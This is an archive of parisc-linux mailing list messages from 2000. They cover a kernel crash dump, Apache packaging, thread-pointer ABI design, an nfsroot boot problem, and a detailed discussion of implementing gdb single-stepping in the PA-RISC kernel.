Original-Received: from gate.ixs.bb.bawue.de (p3E9D2999.dip.t-dialin.net [62.157.41.153])
	by bender.bawue.de (Postfix) with ESMTP
	id 82D8280C; Wed, 15 Nov 2000 23:38:48 +0100 (CET)
Original-Received: from bawue.de (ixs.ixs.com [192.168.1.2])
	by gate.ixs.bb.bawue.de (8.9.3/8.9.3) with ESMTP id XAA00641;
	Wed, 15 Nov 2000 23:38:46 +0100
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8471

Grant Grundler wrote:

> > IASQ: 00000000 00000000 IAOQ: c029c264 c029c268
> >  IIR: 0e681096    ISR: 00000000  IOR: 00000004
> > ORIG_R28: 00000000
> Smells like a driver bug.
> Can you look up IOAQ and GR2 (c029c264 and c029c248) in System.map file?
Okay, here we go (thanks for the build-tool information...)

System Map output:

0xc029c264	__init_begin+264
0xc029x248	__init_begin+248

andreas


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Apache package.
Date: Wed, 15 Nov 2000 15:41:55 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001115152923.00a603d0@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_108207293==_.ALT"
X-Trace: ger.gmane.org 1416619298 6332 80.91.229.3 (22 Nov 2014 01:21:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:38 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>
To: parisc-linux@puffin.external.hp.com
Original-X-From: kailasr@webcash.com  Wed Nov 15 16:43:45 2000
Original-Received: from ns2.imedia.net (ns2.imedia.net [209.247.154.4])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA08344
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 16:43:45 -0700
Original-Received: from test.webcash.com ([209.157.82.100])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id eAFNehx51937;
	Wed, 15 Nov 2000 15:40:43 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
X-Priority: 1 (Highest)
Xref: news.gmane.org gmane.linux.ports.parisc:8472

--=====================_108207293==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi

I tried to build apache_1.3.12 on HP a class server. But I have error. I 
have tried to check the site 
ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/
I could not find one. I found some apache-doc etc.

Can any on point me where I can try.
Regards
Kailas
--=====================_108207293==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Hi <br>
<br>
I tried to build apache_1.3.12 on HP a class server. But I have error. I
have tried to check the site
<a href="ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/" eudora="autourl"><font color="#0000FF"><u>ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/<br>
</a></u></font>I could not find one. I found some apache-doc etc.<br>
<br>
Can any on point me where I can try.<br>
Regards<br>
Kailas</html>

--=====================_108207293==_.ALT--


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apache package.
Date: Wed, 15 Nov 2000 16:59:18 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <E13wCSU-0000Y3-00@noam.fc.hp.com>
References: <5.0.0.25.0.20001115152923.00a603d0@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619298 6335 80.91.229.3 (22 Nov 2014 01:21:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:38 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: bame@noam.fc.hp.com  Wed Nov 15 16:57:15 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA08732
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 16:57:14 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id QAA02037;
	Wed, 15 Nov 2000 16:59:19 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13wCSU-0000Y3-00; Wed, 15 Nov 2000 16:59:18 -0700
In-Reply-To: Your message of "Wed, 15 Nov 2000 15:41:55 PST."
             <5.0.0.25.0.20001115152923.00a603d0@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8473

= I tried to build apache_1.3.12 on HP a class server. But I have error. I 
= have tried to check the site 
= ftp://ftp.debian.org/debian/dists/unstable/main/binary-hppa/
= I could not find one. I found some apache-doc etc.

We are still working on some kernel features which are required to
support Apache (system 5 shared memory).

	-P


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Donovan Young <donovan@water.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] S800 Testing
Date: Wed, 21 Apr 1999 10:39:01 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <199904211439.KAA13149@zeus.water.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619298 6337 80.91.229.3 (22 Nov 2014 01:21:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: donovan@water.com  Wed Apr 21 10:40:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id KAA25022
	for <parisc-linux@sod.res.cmu.edu>; Wed, 21 Apr 1999 10:40:59 -0400
Original-Received: (qmail 18688 invoked by uid 15267); 21 Apr 1999 14:39:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18681 invoked from network); 21 Apr 1999 14:39:35 -0000
Original-Received: from unknown (HELO falcon.water.com) (root@208.219.205.40)
  by mailserv2.iuinc.com with SMTP; 21 Apr 1999 14:39:35 -0000
Original-Received: from zeus.water.com (zeus [130.0.1.5])
	by falcon.water.com (8.9.3/8.9.3) with ESMTP id KAA23915
	for <parisc-linux@thepuffingroup.com>; Wed, 21 Apr 1999 10:38:59 -0400
Original-Received: (from donovan@localhost) by zeus.water.com (8.7.1/8.7.1) id KAA13149 for parisc-linux@thepuffingroup.com; Wed, 21 Apr 1999 10:39:01 -0400 (EDT)
Content-MD5: u8TEHBIlQSz7tPxnHRlsQg==
Xref: news.gmane.org gmane.linux.ports.parisc:8474

For the next few months I have an HP T600/6 I can use tto help test what's available so far.

However, I'm still a little vague on what I need to do in order to 
compile/load/test, etc.  Is there any kind of HOWTO document (even just a 
rudimentary one) out there somewhere?

Thanks.

Donovan Young
donovan@water.com


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with posix_types.h
Date: Wed, 15 Nov 2000 16:00:49 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <200011160001.QAA05126@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619298 6340 80.91.229.3 (22 Nov 2014 01:21:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:38 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>, <parisc-linux@puffin.external.hp.com>
To: "Ulrich Drepper" <drepper@cygnus.com>, "Paul Bame" <bame@noam.fc.hp.com>
Original-X-From: cary@cup.hp.com  Wed Nov 15 16:59:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09047
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 16:59:31 -0700
Original-Received: (qmail 4352 invoked by uid 15267); 16 Nov 2000 00:01:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4345 invoked from network); 16 Nov 2000 00:01:36 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 16 Nov 2000 00:01:36 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel3.hp.com (Postfix) with ESMTP
	id 776DF1085; Wed, 15 Nov 2000 16:01:30 -0800 (PST)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA05126;
	Wed, 15 Nov 2000 16:01:30 -0800 (PST)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:8475

>You have certainly reserved a thread register in the ABI, right?  If
>not, do it ASAP.

On PA-RISC, the thread pointer is kept in the read-only control register 
CR 27.

For user-thread implementations, we provided a kernel API to change the 
contents of the register.

-cary


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with posix_types.h
Date: 15 Nov 2000 16:04:51 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <m3snosbx3w.fsf@otr.mynet.cygnus.com>
References: <200011160001.QAA05126@adlmail.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619299 6343 80.91.229.3 (22 Nov 2014 01:21:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:39 +0000 (UTC)
Cc: "Paul Bame" <bame@noam.fc.hp.com>, <parisc-linux@thepuffingroup.com>,
        <parisc-linux@puffin.external.hp.com>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: drepper@redhat.com  Wed Nov 15 17:16:58 2000
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA09745
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 17:16:58 -0700
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA00579;
	Wed, 15 Nov 2000 16:05:47 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 5D98E3105; Wed, 15 Nov 2000 16:04:51 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Cary Coutant's message of "Wed, 15 Nov 2000 16:00:49 -0800"
Original-Lines: 16
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8476

Cary Coutant <cary@cup.hp.com> writes:

> On PA-RISC, the thread pointer is kept in the read-only control register 
> CR 27.
> 
> For user-thread implementations, we provided a kernel API to change the 
> contents of the register.

This works fine for a 1:1 thread implementation but adds significant
runtime hits for a m:n implementation.  The latter is the direction we
are heading.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Thu, 16 Nov 2000 02:01:12 -0700 (MST)
Lines: 154
Approved: news@gmane.org
Message-ID: <200011160901.CAA00367@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619299 6348 80.91.229.3 (22 Nov 2014 01:21:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:39 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Thu Nov 16 02:00:21 2000
Original-Received: from cosrel2.hp.com (cosrel2.hp.com [156.153.255.162])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA20858
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 02:00:21 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel2.hp.com (Postfix) with ESMTP id 0262F2B5
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 02:02:01 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id CAA00367 for parisc-linux@puffin.external.hp.com; Thu, 16 Nov 2000 02:01:12 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8477

>   I've been helping Alan Modra out with kernel changes to support
> single stepping for gdb.  Paul Bame suggested I bounced our ideas
> off you in case you (or anyone else) had any comments.  I havn't
> actually committed my changes yet.
>

I've decided to respond to the whole list, since others are now
participating in the discussion.

> The basic approach is to use the recovery counter to generate
> a trap every instruction.  The scheme is complicated because a
> suspended process may or may not return to user space via an RFI.
>

There is no easy way to do single stepping on parisc. So any single
stepping design will be complicated.

> If it was suspended as a result of an interrupt then we can
> simply set PSW bit R in the tasks saved registers and it will
> get loaded by the RFI.  On every task switch I set the
> recovery counter to 0, just in case the new process is being
> single-stepped.
>
> If a process is suspended during a syscall, then there is no
> RFI on the return path to userland, and we have to handle things
> differently.  I have changed the syscall return path such that
> it loads the recovery counter with 3 before updating the PSW
> with a value from the tasks saved registers.  If that PSW has
> the R bit set, then the count of 3 will generate a trap on the
> first instruction following the branch back to user space.
> Note that PSW wasn't previously restored on the syscall return
> path.
>

Just to be clear, it is impossible to restore the entire PSW without
an RFI. So, I assume you are referring to the system mask subset of
the PSW that can be manipulated by the ssm,rsm, and mtsm instructions.

You mention restoring from the task's saved registers, but we currently
do not save the system mask during a syscall (because it should be the
same for all processes). Have you added code to do that also? If not,
you are restoring from whatever the state was at the last interruption.
Which in this case works (since the R bit state will be changed
by another process while the debugged process is suspended, this should
guarantee that the R bit state is up to date), but it seems a little ugly.
In my opinion, you should just be checking a bit in the ptrace flags
in the task structure, and setting the R bit with an ssm instruction
based on that.

> To avoid further complications of interrupts during the three
> instructions when the recovery counter is decrementing, whenever
> we set the R bit, we also clear the I bit to disable interrupts.

Yuck, but I agree that it would be messier to have to deal with this in
the interrupt handlers.  Please make sure that a comment is added that
explains what you are doing, and clearly documents the dependency on the
number of remaining instructions before we return to user privilege level.
I assume you restore the I bit in the recovery counter trap handler.  I
can think of alternative ways of doing this, but they are probably just as
ugly (e.g. one possibility would be to do an rfi to set the L bit).

>
> Nullified instructions are handled by the controlling process
> manually moving the childs IAOQ over the instruction without
> actually setting it running, because the recovery counter isn't
> decremented for nullified instructions.

Does this code properly handle branches in the delay slot of another
branch? (you need to make sure you are not advancing the queues by just
adding 4 to each element).  One concern I have about this method is that
the userland debugger has to cooperate to make this design work, i.e. the
single stepping is not accomplished entirely within the kernel, so we
cannot easily change the design for single stepping at a later date.

I wonder if it is necessary to do this.  So what if we don't stop on the
nullified instruction.  Since it is nullified, it doesn't actually do
anything, so why does the user have to see it, i.e. just let the recovery
counter trap happen on the next truly executed instruction (i.e. the
debugger performs a "double step" in this case).  Am I missing something
here?

>
> I need to do some more testing before committing this, but would
> welcome any comments on the basic approach taken, areas I have
> mis-understood, or problems with it that might not yet have
> occurred to me.

OK, well here are some issues that you didn't mention, so I don't
know whether or not you addressed them:

    1) When single stepping over a syscall, when do you actually stop the
    single stepping and execute the syscall?  Hopefully you are not
    allowing single stepping after the gate instruction on the gateway
    page (and returning control to a non privileged debugging process).
    The recovery counter trap should detect when the user code gets
    to the gateway page.

    2) Does your solution properly handle single stepping into and out of
    a signal handler?  Note that the debugger will trap the signal as part
    of this process. Since the return is handled through a hidden syscall
    you may not have to do anything special here.

Note that HP-UX does not use the recovery counter for single stepping.  I
made a few phone calls to various engineers to find out what the design
process was, and why they chose the solution they did, but I could not
find anyone who knew.  Looking at the code in HP-UX it looks like someone
implemented that code a long time ago, and some of the engineers who have
worked on it since don't understand it, because some of the comments added
since then clearly show a lack of understanding of what is really going
on.

Others on this list have mentioned that MPE does use the recovery counter
for single stepping. Of course, MPE is not a Unix clone, so just because
it could be done on MPE doesn't mean that the recovery counter can cover
all cases on Unix (e.g. I have no idea how signals and syscalls are
implemented on MPE). But since I have no idea why the recovery counter
was not used for HP-UX, I can't say it is the wrong way to go. I can't
think of anything that will definitely rule it out, I'm just a little
uncomfortable with the fact that HP-UX chose not to use it.

One advantage of the HP-UX method is that it completely encapsulates the
single stepping inside the kernel, so it can be changed if necessary,
without having to modify gdb (and having to worry about old versions of
gdb).

Anyway, for reference, HP-UX does single stepping by using a combination
of the taken branch trap, and loading the instruction queues such that the
front of the queue points to the next instruction to be single stepped and
the back of the queue points to the first of two break instructions on a
"break" page.  It does NOT insert break instructions into the code, so it
does not adversely affect execution on a SMP machine.  Note that we
already put a bunch of break instructions before the syscall entry point
on the gateway page, so it would be easy to use our gateway page for the
"break page".  This way, if the single stepped instruction branches, a
taken branch trap will be taken (which is important in the case where the
branch nullifies its delay slot).  Otherwise, the instruction will be
executed and then the break instruction at the known location on the
"break" page will be executed.  If the single stepped instruction
nullifies the next instruction, the second break instruction on the
"break" page will be executed.

Note that this is the short explanation. It is not as simple as it sounds.
One major complication is that branches with links don't work properly
with the instruction queue magic, so the link register has to be updated
in the taken branch trap handler. Also branch externals won't update
the space of the space queue tail properly (again, that has to be fixed
in the taken branch handler). I can provide more details if the recovery
counter method doesn't work out.

Sincerely,

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot - 712/60 - RPC - help
Date: Thu, 16 Nov 2000 10:04:07 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <001501c04fac$2d2f07c0$a832d793@esiee.fr>
References: <4.3.0.20001115132700.00cc91b0@clavin.cs.tamu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619299 6354 80.91.229.3 (22 Nov 2014 01:21:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:39 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>, "Jack Perdue" <j-perdue@tamu.edu>
Original-X-From: marteaut@esiee.fr  Thu Nov 16 02:00:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA20871
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 02:00:22 -0700
Original-Received: (qmail 4511 invoked by uid 15267); 16 Nov 2000 09:01:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4496 invoked from network); 16 Nov 2000 09:01:57 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 16 Nov 2000 09:01:57 -0000
Original-Received: from pc5158b (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with SMTP
	id 26DA657303; Thu, 16 Nov 2000 10:01:39 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:8478

Hi Jack,

> (c) Copyright 1990-1993, Hewlett-Packard Company.
> All rights reserved
>
> Press <ESCAPE> to stop boot sequence.
> Selecting a system to boot.
>
> Booting
> palo ipl jkp2866@redtower Wed Nov 15 12:44:21 CST 2000
> 0/vmlinux 1606438 bytes @ 0x6800
> 0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs
nfsroot=192.68.1.11:/tftpboot/pancho '

Are you sure that the command line is rigth? Is your Server address is
192.-68-.1.11
Here is probably your mistake!

Bye,

ESIEE Team
Visit http://www.esiee.fr/puffin

> Kernel: partition 0 file /vmlinux
> ELF32 executable
>
> Entry 00100000 first 00100000 n 4
> Segment 0 load 00100000 size 1097900 mediaptr 0x1000
> Segment 1 load 0020e000 size 150520 mediaptr 0x10e000
> Segment 2 load 00234000 size 55900 mediaptr 0x133000
> Segment 3 load 00244000 size 8192 mediaptr 0x141000
> branching to kernel entry point 0x00100000
> Set default PSW W bit to 0
> PDC Console Initialized
> The 32-bit Kernel has started...
> Enabled FP coprocessor
> Free memory starts at: 0xc026e000
> start_parisc(0x504d6c,0x504d6c,0x0,0x0)
> PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs
nfsroot=192.68.1.11:/tftpboot/pancho '
> PALO initrd 0-0
> model   00006000 00000481 00000000 00000000 77564139 00000000 00000004
00000072 00000072
> vers    0000000a
> CPUID vers 0 rev 0
> Searching for devices in PDC firmware... processor hpa 0xfffbe000
>   an older box...
> Found devices


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Single-stepping
Date: Thu, 16 Nov 2000 12:00:47 +0000
Lines: 85
Approved: news@gmane.org
Message-ID: <20001116120047.U32715@linuxcare.com>
References: <200011160901.CAA00367@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619300 6356 80.91.229.3 (22 Nov 2014 01:21:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:40 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Nov 16 05:01:21 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id FAA24651
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 05:01:19 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 30FDAB007; Thu, 16 Nov 2000 12:00:47 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200011160901.CAA00367@udlkern.fc.hp.com>; from jsm@udlkern.fc.hp.com on Thu, Nov 16, 2000 at 02:01:12AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8479

Hi John,

On Thu, Nov 16, 2000 at 02:01:12AM -0700, John Marvin wrote:
> Just to be clear, it is impossible to restore the entire PSW without
> an RFI. So, I assume you are referring to the system mask subset of
> the PSW that can be manipulated by the ssm,rsm, and mtsm instructions.

Yes, mtsm in this case.

> You mention restoring from the task's saved registers, but we currently
> do not save the system mask during a syscall (because it should be the
> same for all processes). Have you added code to do that also? If not,

Yes I have.

> you are restoring from whatever the state was at the last interruption.
> Which in this case works (since the R bit state will be changed
> by another process while the debugged process is suspended, this should
> guarantee that the R bit state is up to date), but it seems a little ugly.
> In my opinion, you should just be checking a bit in the ptrace flags
> in the task structure, and setting the R bit with an ssm instruction
> based on that.

Sounds better, I'll look in to it.

> > Nullified instructions are handled by the controlling process
> > manually moving the childs IAOQ over the instruction without
> > actually setting it running, because the recovery counter isn't
> > decremented for nullified instructions.

Sorry, I worded that very badly.  The code that moves the childs
IAOQ on is in the kernel, invoked as a result of the controlling
process calling ptrace(PTRACE_SINGLESTEP...) when the childs N
bit is set.

> Does this code properly handle branches in the delay slot of another
> branch? (you need to make sure you are not advancing the queues by just
> adding 4 to each element).  One concern I have about this method is that

Current code does

    /* Nullified, just crank over the queue. */
    task_regs(child)->iaoq[0] = task_regs(child)->iaoq[1];
    task_regs(child)->iasq[0] = task_regs(child)->iasq[1];
    task_regs(child)->iaoq[1] = task_regs(child)->iaoq[0] + 4;

Does that look right to you?

> I wonder if it is necessary to do this.  So what if we don't stop on the
> nullified instruction.  Since it is nullified, it doesn't actually do
> anything, so why does the user have to see it, i.e. just let the recovery
> counter trap happen on the next truly executed instruction (i.e. the
> debugger performs a "double step" in this case).  Am I missing something
> here?

I don't see why we really need to stop on a nullified instruction, but
I'll wait for Alan to comment as he wrote this initially.

>     1) When single stepping over a syscall, when do you actually stop the
>     single stepping and execute the syscall?  Hopefully you are not
>     allowing single stepping after the gate instruction on the gateway
>     page (and returning control to a non privileged debugging process).
>     The recovery counter trap should detect when the user code gets
>     to the gateway page.

At the moment my test harness notes IAOQ=0x100 and stops single stepping,
but obviously the kernel needs to enforce that.

>     2) Does your solution properly handle single stepping into and out of
>     a signal handler?  Note that the debugger will trap the signal as part
>     of this process. Since the return is handled through a hidden syscall
>     you may not have to do anything special here.

Havn't looked at signal handling yet.

> Note that HP-UX does not use the recovery counter for single stepping.  I

Thanks for the description of how HP-UX does it.  I'll stick with
the recovery counter for now as it does seem to be basically working.
I'll also try to ensure that it is completely encapsulated within the kernel
so it is less painful to change later, if need be.

Thanks,
  Richard


From - Thu Nov 08 21:14:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Single-stepping
Date: Thu, 16 Nov 2000 12:09:57 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20001116120957.V32715@linuxcare.com>
References: <20001115184808.P32715@linuxcare.com> <200011151949.OAA22929@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619300 6359 80.91.229.3 (22 Nov 2014 01:21:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:40 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: rhirst@linuxcare.com  Thu Nov 16 05:10:29 2000
Original-Received: from rhirst.linuxcare.com (sleepie.demon.co.uk [194.222.23.208])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id FAA25032
	for <parisc-linux@puffin.external.hp.com>; Thu, 16 Nov 2000 05:10:26 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 73B30B008; Thu, 16 Nov 2000 12:09:57 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200011151949.OAA22929@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Wed, Nov 15, 2000 at 02:49:02PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8480

On Wed, Nov 15, 2000 at 02:49:02PM -0500, John David Anglin wrote:
> >   I've been helping Alan Modra out with kernel changes to support
> > single stepping for gdb.  Paul Bame suggested I bounced our ideas
> > off you in case you (or anyone else) had any comments.  I havn't
> > actually committed my changes yet.
> > 
> > The basic approach is to use the recovery counter to generate
> > a trap every instruction.  The scheme is complicated because a
> > suspended process may or may not return to user space via an RFI.
> 
> I really don't know enough to comment on the implementation choice.  Why
> did you decide on this approach as opposed to inserting breaks and
> enabling the taken branch branch trap (T)?  It would appear that the recovery
> counter was intended to provide software recovery from hardware faults
> in fault tolerant systems.  Possibly, Grant could comment on whether
